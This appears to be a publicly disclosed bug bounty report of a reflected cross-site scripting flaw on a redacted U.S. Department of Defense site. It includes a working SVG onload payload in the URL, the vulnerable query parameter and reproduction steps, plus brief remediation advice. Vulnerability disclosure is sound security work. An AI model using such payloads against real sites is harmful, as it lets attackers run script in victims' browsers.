HexBrain

U.S. Dept Of Defense · Report #1065167

Reflected XSS on https://█████████/

Validstatus
mediumseverity
16upvotes
1 Feb 2021disclosed

How it was found

Vulnerable Website URL or Application:

https://███████/███████=%22%3E%3Csvg/onload=alert(%22nagli%22)%3E

Description of Security Issue: (please limit to one site/app per submission)

Reflected XSS due to no input validation

██████████

Steps needed to reproduce bug:

Navigate to

https://███████/█████████=%22%3E%3Csvg/onload=alert(%22nagli%22)%3E

Choose whatever javascript you'd like to execute on the sub_div_ofc_sym_cd query parameter

Remediation

Sanitize the input on the that parameter

Best Regards

nagli

Impact

Executing Javascript on behalf of the victim

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original